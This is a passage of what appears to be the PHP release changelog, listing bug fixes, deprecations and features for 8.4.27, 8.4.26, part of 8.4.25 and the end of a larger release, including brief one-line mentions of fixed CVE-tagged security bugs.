        • Fixed bug (JIT 1205 segfault on large file compiled in subprocess).
        • +
        • Fixed segfault in function JIT due to NAN to bool warning.
        • +
        • Fixed bug (Double-free of EG(errors)/persistent_script->warnings on persist of already persisted file).
        • +
        • Fixed bug (race condition in zend_runtime_jit(), zend_jit_hot_func()).
        • +
        • Fixed bug (assertion failure in zend_jit_trace_type_to_info_ex).
        • +
        • Fixed bug (function JIT may not deref property value).
        • +
        • Fixed bug (Incorrect opline after deoptimization).
        • +
        • Fixed bug (Wrong JIT stack setup on aarch64/clang).
        • +
        • Fixed bug (Broken opcache.huge_code_pages).
        • +
        • Fixed bug (Build fails on non-glibc/musl/freebsd/macos/win platforms).
        • +
        • Fixed ZTS OPcache build on Cygwin.
        • +
        • Fixed bug (JIT variable not stored before YIELD).
        • +
      • +
      • OpenSSL: +
          +
        • Added openssl.libctx INI that allows to select the OpenSSL library context type and convert various parts of the extension to use the custom libctx.
        • +
        • Add $digest_algo parameter to openssl_public_encrypt() and openssl_private_decrypt() functions.
        • +
        • Implement #81724 (openssl_cms_encrypt only allows specific ciphers).
        • +
        • Implement #80495 (Enable to set padding in openssl_(sign|verify).
        • +
        • Implement #47728 (openssl_pkcs7_sign ignores new openssl flags).
        • +
        • Fixed bug (openssl_get_cipher_methods inconsistent with fetching).
        • +
        • Fixed build when --with-openssl-legacy-provider set.
        • +
        • Fixed bug (8.5 | Regression in openssl_sign() - support for alias algorithms appears to be broken).
        • +
        • The $key_length parameter for openssl_pkey_derive() has been deprecated.
        • +
      • +
      • Output: +
          +
        • Fixed calculation of aligned buffer size.
        • +
      • +
      • PCNTL: +
          +
        • Extend pcntl_waitid with rusage parameter.
        • +
      • +
      • PCRE: +
          +
        • Remove PCRE2_EXTRA_ALLOW_LOOKAROUND_BSK from pcre compile options.
        • +
      • +
      • PDO: +
          +
        • Fixed bug (Incorrect class name in deprecation message for PDO mixins).
        • +
        • Driver specific methods and constants in the PDO class are now deprecated.
        • +
        • The "uri:" DSN scheme has been deprecated due to security concerns with DSNs coming from remote URIs.
        • +
      • +
      • PDO_ODBC: +
          +
        • Fetch larger block sizes and better handle SQL_NO_TOTAL when calling SQLGetData.
        • +
      • +
      • PDO_PGSQL: +
          +
        • Added Iterable support for PDO::pgsqlCopyFromArray.
        • +
        • Implement Pdo\Pgsql::setAttribute(PDO::ATTR_PREFETCH, 0) or Pdo\Pgsql::prepare(…, [ PDO::ATTR_PREFETCH => 0 ]) make fetch() lazy instead of storing the whole result set in memory (Guillaume Outters)
        • +
      • +
      • PDO_SQLITE: +
          +
        • Add PDO\Sqlite::ATTR_TRANSACTION_MODE connection attribute.
        • +
        • Implement : Add setAuthorizer to Pdo\Sqlite.
        • +
        • PDO::sqliteCreateCollation now throws a TypeError if the callback has a wrong return type.
        • +
        • Added Pdo_Sqlite::ATTR_BUSY_STATEMENT constant to check if a statement is currently executing.
        • +
        • Added Pdo_Sqlite::ATTR_EXPLAIN_STATEMENT constant to set a statement in either EXPLAIN_MODE_PREPARED, EXPLAIN_MODE_EXPLAIN, EXPLAIN_MODE_EXPLAIN_QUERY_PLAN modes.
        • +
        • Fix bug (sqlite PDO::quote silently corrupts strings with null bytes) by throwing on null bytes.
        • +
      • +
      • PGSQL: +
          +
        • Added pg_close_stmt to close a prepared statement while allowing its name to be reused.
        • +
        • Added Iterable support for pgsql_copy_from.
        • +
        • pg_connect checks if connection_string contains any null byte, pg_close_stmt check if the statement contains any null byte.
        • +
        • Added pg_service to get the connection current service identifier.
        • +
        • Fix segfaults when attempting to fetch row into a non-instantiable class name.
        • +
      • +
      • Phar: +
          +
        • Fix potential buffer length truncation due to usage of type int instead of type size_t.
        • +
        • Fixed memory leaks when verifying OpenSSL signature.
        • +
      • +
      • POSIX: +
          +
        • Added POSIX_SC_OPEN_MAX constant to get the number of file descriptors a process can handle.
        • +
        • posix_ttyname() sets last_error to EBADF on invalid file descriptors, posix_isatty() raises E_WARNING on invalid file descriptors, posix_fpathconf checks invalid file descriptors.
        • +
        • posix_kill and posix_setpgid throws a ValueError on invalid process_id.
        • +
        • posix_setpgid throws a ValueError on invalid process_group_id, posix_setrlimit throws a ValueError on invalid soft_limit and hard_limit arguments.
        • +
      • +
      • Random: +
          +
        • Moves from /dev/urandom usage to arc4random_buf on Haiku.
        • +
      • +
      • Reflection: +
          +
        • Added ReflectionConstant::getExtension() and ::getExtensionName().
        • +
        • Added ReflectionProperty::getMangledName() method.
        • +
        • ReflectionConstant is no longer final.
        • +
        • The setAccessible() methods of various Reflection objects have been deprecated, as those no longer have an effect.
        • +
        • ReflectionClass::getConstant() for constants that do not exist has been deprecated.
        • +
        • ReflectionProperty::getDefaultValue() for properties without default values has been deprecated.
        • +
        • Fixed bug (ReflectionClass::getStaticPropertyValue() returns UNDEF zval for uninitialized typed properties).
        • +
        • Fixed bug (ReflectionClass::__toString() should have better output for enums).
        • +
        • Fix (getModifierNames() not reporting asymmetric visibility).
        • +
        • Fixed bug (Reflection: have some indication of property hooks in `_property_string()`).
        • +
        • Fixed bug (ReflectionNamedType::getName() prints nullable type when retrieved from ReflectionProperty::getSettableType()).
        • +
        • Fixed bug (ReflectionClass::isIterable() incorrectly returns true for classes with property hooks).
        • +
      • +
      • SAPI: +
          +
        • Fixed bug and #81451: http_response_code() does not override the status code generated by header().
        • +
      • +
      • Session: +
          +
        • session_start() throws a ValueError on option argument if not a hashmap or a TypeError if read_and_close value is not compatible with int.
        • +
        • Added support for partitioned cookies.
        • +
        • Fix RC violation of session SID constant deprecation attribute.
        • +
        • Fixed : build broken with ZEND_STRL usage with memcpy when implemented as macro.
        • +
      • +
      • SimpleXML: +
          +
        • Fixed bug (SimpleXML xpath should warn when returning other return types than node lists).
        • +
      • +
      • SNMP: +
          +
        • snmpget, snmpset, snmp_get2, snmp_set2, snmp_get3, snmp_set3 and SNMP::__construct() throw an exception on invalid hostname, community timeout and retries arguments.
        • +
      • +
      • SOAP: +
          +
        • Added support for configuring the URI parser for SoapClient::__doRequest() as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • +
        • Implement request #55503 (Extend __getTypes to support enumerations).
        • +
        • Implement request #61105 (Support Soap 1.2 SoapFault Reason Text lang attribute).
        • +
        • (SoapServer calls wrong function, although "SOAP action" header is correct).
        • +
        • Fix namespace handling of WSDL and XML schema in SOAP, fixing at least and bug #68576.
        • +
        • (Segmentation fault on invalid WSDL cache).
        • +
        • Fixed bug (SIGSEGV due to uninitialized soap_globals->lang_en).
        • +
        • Fixed bug (Segfault when spawning new thread in soap extension).
        • +
      • +
      • Sockets: +
          +
        • Added IPPROTO_ICMP/IPPROTO_ICMPV6 to create raw socket for ICMP usage.
        • +
        • Added TCP_FUNCTION_BLK to change the TCP stack algorithm on FreeBSD.
        • +
        • Added IP_BINDANY for a socket to bind to any address.
        • +
        • Added SO_BUSY_POOL to reduce packets poll latency.
        • +
        • Added UDP_SEGMENT support to optimise multiple large datagrams over UDP if the kernel and hardware supports it.
        • +
        • Added SHUT_RD, SHUT_WR and SHUT_RDWR constants for socket_shutdown().
        • +
        • Added TCP_FUNCTION_ALIAS, TCP_REUSPORT_LB_NUMA, TCP_REUSPORT_LB_NUMA_NODOM, TCP_REUSPORT_LB_CURDOM, TCP_BBR_ALGORITHM constants.
        • +
        • socket_set_option() catches possible overflow with SO_RCVTIMEO/SO_SNDTIMEO with timeout setting on windows.
        • +
        • socket_create_listen() throws an exception on invalid port value.
        • +
        • socket_bind() throws an exception on invalid port value.
        • +
        • socket_sendto() throws an exception on invalid port value.
        • +
        • socket_addrinfo_lookup throws an exception on invalid hints value types.
        • +
        • socket_addrinfo_lookup throws an exception if any of the hints value overflows.
        • +
        • socket_addrinfo_lookup throws an exception if one or more hints entries has an index as numeric.
        • +
        • socket_set_option with the options MCAST_LEAVE_GROUP/MCAST_LEAVE_SOURCE_GROUP will throw an exception if its value is not a valid array/object.
        • +
        • socket_getsockname/socket_create/socket_bind handled AF_PACKET family socket.
        • +
        • socket_set_option for multicast context throws a ValueError when the socket family is not of AF_INET/AF_INET6 family.
        • +
      • +
      • Sodium: +
          +
        • Fix overall theoretical overflows on zend_string buffer allocations.
        • +
      • +
      • SPL: +
          +
        • Fixed bug (SplHeap/SplPriorityQueue serialization exposes INDIRECTs).
        • +
        • Improve __unserialize() hardening for SplHeap/SplPriorityQueue.
        • +
        • Deprecate ArrayObject and ArrayIterator with objects.
        • +
        • Unregistering all autoloaders by passing the spl_autoload_call() function as a callback argument to spl_autoload_unregister() has been deprecated. Instead if this is needed, one should iterate over the return value of spl_autoload_functions() and call spl_autoload_unregister() on each value.
        • +
        • The SplObjectStorage::contains(), SplObjectStorage::attach(), and SplObjectStorage::detach() methods have been deprecated in favour of SplObjectStorage::offsetExists(), SplObjectStorage::offsetSet(), and SplObjectStorage::offsetUnset() respectively.
        • +
      • +
      • Sqlite: +
          +
        • Added Sqlite3Stmt::busy to check if a statement is still being executed.
        • +
        • Added Sqlite3Stmt::explain to produce an explain query plan from the statement.
        • +
        • Added Sqlite3Result::fetchAll to return all results at once from a query.
        • +
      • +
      • Standard: +
          +
        • Add HEIF/HEIC support to getimagesize.
        • +
        • Added support for partitioned cookies.
        • +
        • Implement #71517 (Implement SVG support for getimagesize() and friends).
        • +
        • Implement : Add support for new INI mail.cr_lf_mode.
        • +
        • Optimized PHP html_entity_decode function.
        • +
        • Minor optimization to array_chunk().
        • +
        • Optimized pack().
        • +
        • Fixed crypt() tests on musl when using --with-external-libcrypt (Michael Orlitzky).
        • +
        • Fixed bug (is_callable(func(...), callable_name: $name) for first class callables returns wrong name).
        • +
        • Added array_first() and array_last().
        • +
        • Fixed bug (setlocale's 2nd and 3rd argument ignores strict_types).
        • +
        • Fixed exit code handling of sendmail cmd and added warnings.
        • +
        • Fixed bug (printf: empty precision is interpreted as precision 6, not as precision 0).
        • +
        • Fixed bug (mail() heap overflow with an empty message in lf mode).
        • +
        • Fixed bug (AVIF images misdetected as HEIF after introducing HEIF support in getimagesize()).
        • +
        • Fixed bug (reset internal pointer earlier while splicing array while COW violation flag is still set).
        • +
        • Fixed bug (leaks in var_dump() and debug_zval_dump()).
        • +
        • Fixed (SplPriorityQueue, SplMinHeap, and SplMaxHeap lost their data on serialize()).
        • +
        • Fixed (Deprecation warnings in functions taking as argument).
        • +
        • Fixed bug (Avoid integer overflow when using a small offset and PHP_INT_MAX with LimitIterator).
        • +
        • Fixed bug (#[\Attribute] validation should error on trait/interface/enum/abstract class).
        • +
        • Fixed bug (setlocale($type, NULL) should not be deprecated).
        • +
        • Fixed bug (UAF during array_splice).
        • +
        • Passing strings which are not one byte long to ord() is now deprecated.
        • +
        • Passing integers outside the interval [0, 255] to chr() is now deprecated.
        • +
        • The socket_set_timeout() alias function has been deprecated.
        • +
        • Passing null to readdir(), rewinddir(), and closedir() to use the last opened directory has been deprecated.
        • +
      • +
      • Streams: +
          +
        • Fixed bug (stream_select() timeout useless for pipes on Windows).
        • +
        • Fixed bug : XP_SOCKET XP_SSL (Socket stream modules): Incorrect condition for Win32/Win64.
        • +
        • Fixed bug (Closing a userspace stream inside a userspace handler causes heap corruption).
        • +
        • Avoid double conversion to string in php_userstreamop_readdir().
        • +
      • +
      • Tests: +
          +
        • Allow to shuffle tests even in non-parallel mode.
        • +
      • +
      • Tidy: +
          +
        • tidy::__construct/parseFile/parseString methods throw an exception if the configuration argument is invalid.
        • +
        • Fixed (improved tidyOptGetCategory detection).
        • +
      • +
      • Tokenizer: +
          +
        • Fixed bug (Corrupted result after recursive tokenization during token_get_all()).
        • +
      • +
      • URI: +
          +
        • Add new URI extension.
        • +
      • +
      • Windows: +
          +
        • Fixed bug (Improper long path support for relative paths).
        • +
        • Fixed bug (Windows phpize builds ignore source subfolders).
        • +
        • Fix (_get_osfhandle asserts in debug mode when given a socket).
        • +
      • +
      • XML: +
          +
        • The xml_parser_free() function has been deprecated.
        • +
      • +
      • XMLWriter: +
          +
        • Improved performance and reduce memory consumption.
        • +
      • +
      • XSL: +
          +
        • Implement request #30622 (make $namespace parameter functional).
        • +
      • +
      • Zlib: +
          +
        • gzfile, gzopen and readgzfile, their "use_include_path" argument is now a boolean.
        • +
        • Fixed bug (gzopen() does not use the default stream context when opening HTTP URLs).
        • +
        • Implemented (zlib streams should support locking).
        • +
      • +
      • Zip: +
          +
        • Fixed missing zend_release_fcall_info_cache on the following methods ZipArchive::registerProgressCallback() and ZipArchive::registerCancelCallback() on failure.
        • +
      • +
      +
      + + + + + +
      +

      Version 8.4.27

      + +
      • Core: +
          +
        • Fixed , (Avoid state corruption via bailout).
        • +
        • Fix : GC inconsistency with lazy object, var_dump(), and object comparison.
        • +
        • Fixed OSS-Fuzz #536440507 (Immutable class incorrect assertion).
        • +
        • Fixed AVX being reported as supported when the OS has not enabled AVX state.
        • +
        • Fixed (ZEND_ASSERT violation @ ZEND_INCLUDE_OR_EVAL).
        • +
        • Fixed bug (Assertion failure in zend_call_function() after a throwing deprecation).
        • +
        • Fixed use-after-free when a dl()-loaded extension declares a frameless function and a later request calls it.
        • +
        • Fixed System V shared memory emulation for Windows attaching segments past the end of their mapping.
        • +
        • Fixed bug (GC frees an object still held by a resurrected closure when (object) and use share an array).
        • +
        • Fixed exception thrown by destructor during GC in a Fiber not being rethrown into the frame that triggered the GC.
        • +
      • +
      • BCMath: +
          +
        • Fixed BcMath\Number results that truncate to zero keeping a negative sign and comparing less than zero.
        • +
      • +
      • BZ2: +
          +
        • Fixed double close of the descriptor and use-after-free of the inner stream when bzopen() is given a stream resource.
        • +
      • +
      • CLI: +
          +
        • Fix (Windows ZTS CLI SAPI should refresh its TSRMLS cache during request activation).
        • +
        • Fixed bug (Built-in server leaks a file descriptor on every HEAD request for a static file).
        • +
        • Fixed crash in the built-in server when a client is reset before being accepted.
        • +
        • Fixed the built-in server truncating an error page and leaking its unsent part after a partial socket write.
        • +
      • +
      • DOM: +
          +
        • Fixed use-after-free when re-constructing a DOMXPath whose php:function registrations are freed while still reachable from the cycle collector.
        • +
        • Fixed bug (DOMNode::insertBefore($n, $n) drops the node and leaves a self-referencing sibling list).
        • +
        • Fixed Dom\HTMLDocument::getElementById() not finding ids of SVG and MathML elements.
        • +
        • Fixed Dom\HTMLDocument giving attributes the namespace of their element when a fragment is parsed with an xlink, xml or xmlns context element.
        • +
        • Fixed bug (DOMXPath::__construct() use-after-free during an evaluation).
        • +
        • Fixed bug (php:function() assertion failure after a failed registerPHPFunctions()).
        • +
        • Fixed DOMXPath and Dom\XPath losing the context node and in-scope namespaces of an evaluation after a php:function() callback evaluated another expression on the same object.
        • +
      • +
      • FFI: +
          +
        • Fixed crashes with FFI callbacks created from __call() trampolines and array callables whose object is released.
        • +
      • +
      • FTP: +
          +
        • Fixed bug (cryptic error on servers that don't support TLS session resumption on data connection).
        • +
      • +
      • GD: +
          +
        • Fixed undefined behavior with GD2 images with `INT_MAX`-sized chunks.
        • +
        • Fixed undefined behavior with GIFs with problematic LZW compression data.
        • +
      • +
      • Intl: +
          +
        • Fixed IntlDateFormatter::parse(), localtime() and parseToCalendar() treating the offset as UTF-16 code units instead of bytes.
        • +
        • Fixed cloning IntlDateFormatter and MessageFormatter losing PHP-side state such as dateType, timeType, calendar and the message pattern.
        • +
        • Fixed Collator attribute and strength methods not rejecting an unconstructed Collator.
        • +
        • Fixed grapheme_strstr() and grapheme_stristr() returning incorrect substrings when supplementary characters precede the match.
        • +
        • Fixed grapheme_strstr() and grapheme_strpos() missing canonically equivalent matches, and grapheme searches reporting ICU errors for empty haystacks.
        • +
        • Fixed grapheme_strrpos() and grapheme_strripos() skipping overlapping matches when using a negative offset.
        • +
      • +
      • Lexbor: +
          +
        • Merge patches lexbor/lexbor@8a14bc0 and lexbor/lexbor@f67ce4b, fixing a heap buffer overflow in :lexbor-contains() parsing and buffer overflows in malformed decode replay.
        • +
      • +
      • MBString: +
          +
        • Fixed bug (mb_strpos() reads past the end of a haystack ending in a truncated UTF-8 sequence).
        • +
        • Fixed mbstring functions emitting surrogates in UTF-8 output and flagging it as valid UTF-8.
        • +
      • +
      • MySQLi: +
          +
        • Fix : Fixed failed assertion when accessing mysqli property after failed reconnection.
        • +
      • +
      • MySQLnd: +
          +
        • Fixed field_count not resetting on OK packet.
        • +
        • Fixed memory leak when closing a prepared statement after its connection was killed.
        • +
      • +
      • Opcache: +
          +
        • Fixed OSS-Fuzz #546798343 (Heap-buffer-overflow in optimizer with FCCs and inlining).
        • +
        • Fixed bug (Tracing JIT produces wrong results for a guard on a loop-invariant addition).
        • +
        • Fixed OSS-Fuzz #5674034779193344 (Read of uninitialized memory in is_cacheable_stream_path()).
        • +
        • Fix zend_analyze_calls() call_stack buffer overrun.
        • +
        • Fixed bug (PHP-FPM worker SIGSEGV: run_time_cache map_ptr offset beyond CG(map_ptr_last) when a class is reached through the CE cache).
        • +
        • Fix multiple incorrect DCE due to unsound escape analysis.
        • +
        • Fixed bug (OPcache optimizer folds `$cond ? -0.0 : 0.0` into a single `-0.0` constant).
        • +
        • Fixed crash when a file cache is reused with a different set of extensions declaring frameless functions.
        • +
        • Fixed bug (JIT generates invalid IR for multiple recursive calls).
        • +
        • Fix SCCP evaluation of isset()/empty() on dimension of non-escaping object.
        • +
      • +
      • OpenSSL: +
          +
        • Fixed stream_socket_enable_crypto() leaving the socket non-blocking after a handshake timeout.
        • +
        • Fixed feof() on a TLS stream staying false after a close_notify on Windows.
        • +
      • +
      • PCNTL: +
          +
        • Fixed pcntl_signal_dispatch() dropping the queued signals when it runs while an exception is pending.
        • +
        • Fixed pcntl_signal_dispatch() dropping the signals queued behind a handler that throws.
        • +
        • Fixed pcntl_setcpuaffinity() error message advertising the cpu count as the inclusive upper bound.
        • +
        • Fixed pcntl_setqos_class() requiring its optional $qos_class argument.
        • +
        • Fixed bug (/proc/self paths resolve to the parent process after pcntl_fork()).
        • +
      • +
      • PDO: +
          +
        • Fixed PDOStatement::getColumnMeta() reading out of bounds for an invalid column index.
        • +
        • Fixed PDOStatement::bindColumn() registering a binding for a column name that is not in the result set.
        • +
        • Fixed PDOStatement::execute() leaving the previous result available after a failed execution.
        • +
        • Fixed a use-after-free when bindValue()/execute()/closeCursor() is called from a bound parameter's __toString() during execute().
        • +
        • Fixed bug (Destroying a persistent PDO instance rolls back a transaction still in use by another instance).
        • +
        • Fixed PDO::setAttribute() installing a PDO::ATTR_STATEMENT_CLASS class whose constructor arguments it rejects.
        • +
        • Fixed PDO::ATTR_STATEMENT_CLASS constructor_args type errors reporting "array given" regardless of the value passed.
        • +
        • Fixed PDOStatement::bindParam() and bindColumn() leaking the driver options value.
        • +
        • Fixed PDOStatement not reporting its bound parameters and columns to the cycle collector.
        • +
        • Fixed PDOStatement::setFetchMode() not applying changes atomically.
        • +
      • +
      • PDO_DBLIB: +
          +
        • Fixed bug (segfault after a failed query inside a PDO transaction). Errors raised by beginTransaction(), commit(), rollBack() and lastInsertId() are now reported instead of being dropped.
        • +
      • +
      • PDO_Firebird: +
          +
        • Fixed bug (PDO_Firebird returns null for non-null empty BLOBs).
        • +
      • +
      • Readline: +
          +
        • Fixed a heap over-read in the interactive shell prompt when cli.prompt is set to an empty string.
        • +
      • +
      • Session: +
          +
        • Fixed session_start() continuing after a failed create_sid() when session.use_strict_mode rejects the supplied ID.
        • +
        • Fixed exceptions from user-defined create_sid() handlers being replaced by return-value validation errors.
        • +
      • +
      • SimpleXML: +
          +
        • Fixed reconstructing a SimpleXMLElement freeing a child element that another variable still references.
        • +
      • +
      • SOAP: +
          +
        • Fixed bug (Heap use-after-free while encoding a Traversable with an illegal key).
        • +
        • Fixed memory leak when load_wsdl_ex() failed to load.
        • +
      • +
      • Sockets: +
          +
        • Fixed socket_select() silently truncating sets larger than FD_SETSIZE on Windows.
        • +
      • +
      • SPL: +
          +
        • Fixed SplFixedArray::setSize() doing nothing on subclasses whose constructor does not call parent::__construct().
        • +
        • Fixed memory leak when __construct(), __wakeup() or __unserialize() is called from an element destructor during setSize(0).
        • +
      • +
      • SQLite: +
          +
        • Fixed a crash when SQLite3::close() is called from a userland callback.
        • +
      • +
      • Standard: +
          +
        • Fixed sha1_file() returning a digest for incomplete data after a stream read failure.
        • +
        • Fixed iptcembed() corrupting JPEG headers when called recursively from an output handler.
        • +
        • Fixed proc_open() leaking descriptor zero when descriptor setup fails.
        • +
        • Fixed three Windows-only proc_open() defects: an uninitialized PROCESS_INFORMATION, an indeterminate comspec pointer after a failed lookup, and an unchecked CreateFileA() failure.
        • +
        • Fix persistent stream context lifetime during shutdown (Levi Morrison)
        • +
        • Fix wordwrap() ignoring an existing break at the end of the string (Nicolas Grekas)
        • +
        • Fixed convert.quoted-printable-decode decoding lowercase hex digits to the wrong byte.
        • +
      • +
      • Tidy: +
          +
        • Fixed a use-after-free when a tidyNode is used after its document is reparsed.
        • +
      • +
      • XSL: +
          +
        • Fixed bug (use-after-free when XSLTProcessor::importStylesheet() is called during a transformation).
        • +
      • +
      • Zip: +
          +
        • Fixed ZipArchive::extractTo() ignoring files given in a non-list array.
        • +
        • Fixed bug (ZipArchive::close() use-after-free from a progress or cancel callback).
        • +
      • +
      +
      + + + +
      +

      Version 8.4.26

      + +
      • BCMath: +
          +
        • Fixed out-of-bounds read in bc_is_zero_for_scale() when scale exceeds n_scale.
        • +
      • +
      • Core: +
          +
        • Fixed out-of-bounds reads during automatic UTF-16/32 encoding detection.
        • +
        • Fixed bug (Nested "yield from" skips items after a valid() or next() call on the inner generator).
        • +
        • Fixed bug (lone namespace separator asks the autoloader for an empty class name).
        • +
        • Fixed bug (Nested "yield from" yields a value twice when the middle generator delegates again).
        • +
      • +
      • CLI: +
          +
        • Fixed bug (sapi_cli_server_send_headers() does not check the return value of php_cli_server_client_send_through()).
        • +
      • +
      • DOM: +
          +
        • Fixed NamedNodeMap::getNamedItemNS() with an empty URI not matching the null namespace in spec-following mode.
        • +
        • Fixed a use-after-free when cloning a DOMNameSpaceNode after DOMDocument::xinclude().
        • +
        • Fixed bug (UAF when node_list_unlink() skips attribute children that still have a live wrapper).
        • +
        • Fixed a use-after-free when Dom\Element::setAttributeNS() replaces the value of an attribute whose child still has a live wrapper.
        • +
      • +
      • GD: +
          +
        • Fixed imageaffinematrixget() and imageaffinematrixconcat() reporting the wrong argument in error messages.
        • +
        • Fixed bug (imagebmp() is extremely slow when writing to a file).
        • +
      • +
      • FPM: +
          +
        • Fixed bug (FPM UID and GID overflow).
        • +
        • Fixed (IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison). (CVE-2026-91768)
        • +
      • +
      • Hash: +
          +
        • Fixed a buffer overflow in hash_pbkdf2() with a large output length.
        • +
      • +
      • Intl: +
          +
        • Fixed grapheme_strpos() and grapheme_strrpos() with an empty needle returning UTF-16 offsets instead of grapheme offsets.
        • +
        • Fixed a memory leak when dumping IntlCalendar instances.
        • +
        • Fixed a memory leak when iterating IntlBreakIterator::getPartsIterator() results.
        • +
        • Fixed a double-free when IntlGregorianCalendar construction fails after the ICU constructor adopts the TimeZone.
        • +
        • Fixed bug (NumberFormatter parsing offsets use UTF-16 positions for UTF-8 strings).
        • +
        • Fixed Locale::parseLocale() reading past a trailing '-' or '_'.
        • +
        • Fixed grapheme_str_split() treating UBRK_DONE as a byte index.
        • +
        • Fixed a leak in Locale::getKeywords() when a keyword value cannot be read.
        • +
        • Fixed a use-after-free when IntlRuleBasedBreakIterator is constructed from compiled rules.
        • +
      • +
      • MBString: +
          +
        • Fixed mb_ereg_replace() emitting a NUL or out-of-bounds bytes in the replacement when a \k<name> backref has no closing delimiter.
        • +
      • +
      • MySQLnd: +
          +
        • Fixed (Various packet overreads in mysqlnd wire protocol). (CVE-2025-1218)
        • +
      • +
      • ODBC: +
          +
        • Fixed odbc_field_len(), odbc_field_scale() and odbc_field_type() returning uninitialized memory when SQLColAttribute fails.
        • +
      • +
      • Opcache: +
          +
        • Fixed a crash when the huge page SHM remap discarded mappings outside the reserved address range.
        • +
        • Fixed opcache.protect_memory race under ZTS.
        • +
        • Fixed bug (Crash on restart when opcache.interned_strings_buffer is overridden in an individual FPM pool).
        • +
        • Fixed a tracing JIT crash when compiling a side trace for a method of a class that could not be stored in the inheritance cache.
        • +
      • +
      • OpenSSL: +
          +
        • Fixed (TLS hostname verification falls back to CN after SAN mismatch). (CVE-2026-91769)
        • +
        • Fixed (Heap buffer overflow in php_openssl_matches_wildcard_name() on crafted server certificate wildcard CN). (CVE-2026-91767)
        • +
      • +
      • PDO: +
          +
        • Fixed a leak when a persistent connection failed a liveness check with no other live PDO handle.
        • +
      • +
      • PDO_ODBC: +
          +
        • Fixed bug (ODBC_ATTR_ASSUME_UTF8 corrupts Unicode data outside Windows).
        • +
      • +
      • PDO_PGSQL: +
          +
        • Fixed PDO::CURSOR_SCROLL statements closing a cursor that does not exist.
        • +
      • +
      • PDO Sqlite: +
          +
        • Fixed bug (PDO::FETCH_DEFAULT unexpected behavior with PDOStatement::setFetchMode).
        • +
      • +
      • Phar: +
          +
        • Fixed bug (Use-after-free when looking up mounted directories).
        • +
        • Fixed bug (Memory leak on duplicate native Phar manifest entries).
        • +
        • Fixed (Integer overflow in phar_tar_number() allowing TAR archive entry injection). (CVE-2026-6103)
        • +
      • +
      • SNMP: +
          +
        • Fixed bug (SNMP::setSecurity() frees a non-malloced address with a context engine ID longer than 32 bytes).
        • +
      • +
      • SOAP: +
          +
        • Fixed bug (Segfault when a class passed to SoapServer::setClass() fails to initialize).
        • +
        • Fixed WSDL cache corruption when a soap:header defines headerfaults.
        • +
        • Fixed stack overflow when parsing a WSDL with self-referential schema groups or attributeGroups.
        • +
        • Fixed (Unbounded recursion in server-side cleanup_xml_node()). (CVE-2026-91765)
        • +
        • Fixed (Integer overflow to buffer overflow in SOAP HTTP parsing). (CVE-2025-14181)
        • +
      • +
      • Standard: +
          +
        • Fixed a segfault when a stream filter callback unsets StreamBucket::$data before re-attaching the bucket.
        • +
        • Fixed (Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header). (CVE-2026-93682)
        • +
        • Fixed a memory leak in array_merge_recursive() when the recursive merge of an object converted to an array fails.
        • +
        • Fixed read buffer compaction in php_stream_filter_flush().
        • +
        • Fixed bug (Incorrect float behavior with large numbers).
        • +
        • Fixed (fsockopen()/pfsockopen() ValueError reported wrong argument number for $timeout).
        • +
        • Fixed bug (Next index for array returned from array_keys() is wrong).
        • +
        • Fixed (Out-of-bounds read in convert.* stream filters when line-break-chars contains NUL). (CVE-2026-92842)
        • +
        • Fixed (Cross-origin credential leak in HTTP stream wrapper redirects). (CVE-2026-91766)
        • +
      • +
      • SimpleXML: +
          +
        • Fixed writing to a dimension of the object returned by attributes() not creating the attribute.
        • +
        • Fixed child elements of the element returned by SimpleXMLElement::addChild() not being accessible by property name when namespaces are involved.
        • +
      • +
      • Windows: +
          +
        • Fixed (Reserved device names are not rejected before file and stream I/O). (CVE-2026-17545)
        • +
      • +
      • Zip: +
          +
        • Fixed bug (ZipArchive subclass storing its own stream cannot be garbage collected).
        • +
        • Fixed ZipArchive::extractTo() and ZipArchive::getFrom*() reporting success on corrupted entries.
        • +
        • Fixed ZipArchive::getNameIndex() truncating the entry index to int.
        • +
        • Fixed fstat() on a zip:// stream reporting success when the archive cannot be opened.
        • +
      • +
      • SAPI: +
          +
        • Fixed fuzzer targets failing to build in isolation.
        • +
        • Fixed returns uninitialized value on LiteSpeed lsapi SAPI (Go Kudo)
        • +
      • +
      +
      + + + +
      +

      Version 8.4.25

      + +
      • Core: +
          +
        • Fixed bug (Stack overflow when comparing deeply nested arrays).
        • +
      • +
      • Date: +
          +
        • Fixed leak on double DatePeriod::__construct() call.
        • +
      • +
      • DOM: +
          +
        • Fixed bug (Stack overflow when normalizing a deeply nested DOMDocument).
        • +
        • Fixed bug (Stack overflow when normalizing a deeply nested Dom\XMLDocument).
        • +
        • Fixed bug (DOMElement::setAttribute() fails silently when the DTD declares a default value for the attribute).
        • +
        • Fixed bug (UAF at dom_objects_free_storage when setting an attribute node that collides by local name with a namespaced attribute).
        • +
        • Fixed bug (Stack overflow when comparing deeply nested DOM nodes with DOMNode::isEqualNode()).
        • +
      • +
      • LibXML: +
          +
        • Fixed bug (Build failure with libxml 2.15).
        • +
      • +
      • MBString: +
          +
        • Fixed bug (mb_strrpos() returns the wrong position for a negative offset in a non-UTF-8 encoding).
        • +
        • Fixed bug (mb_ereg_search_getregs() crashes after mb_eregi() invalidates the regex cache).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Function JIT emits wrong code for FETCH_OBJ_FUNC_ARG on a property hook getter, losing register-held variables).
        • +
        • Fixed bug (Preserve parent regs in zend_jit_deoptimizer_start()).
        • +
      • +
      • OpenSSL: +
          +
        • Fix missing error check on invalid alpn protocols.
        • +
      • +
      • PCRE: +
          +
        • Fixed bug (Crash with \C + UTF-8). Using \C in UTF-8 patterns is now forbidden.
        • +
      • +
      • Reflection: +
          +
        • Fixed bug (Reflection exception messages truncate on null bytes).
        • +
        • Fixed ReflectionProperty::isLazy() and skipLazyInitialization() using the parent slot when a child class hooks an inherited property.
        • +
        • Fixed segfault in ReflectionMethod::createFromMethodName() on an uninstantiable subclass.
        • +
      • +
      • Session: +
          +
        • Fix corruption in mod_mm.
        • +
        • Fixed bug (broken session id code can cause zend_mm_heap corrupted).
        • +
      • +
      • SimpleXML: +
          +
        • Fixed integer element offsets that cannot resolve aliasing an existing element.
        • +
        • Fixed segfault when comparing uninitialized SimpleXMLElement instances.
        • +
      • +
      • Sockets: +
          +
        • Fixed various memory related issues in ext/sockets.
        • +
      • +
      • SQLite: +
          +
        • Fix leak when trying to close db if blob stream is still open.
        • +
      • +
      • Standard: +
          +
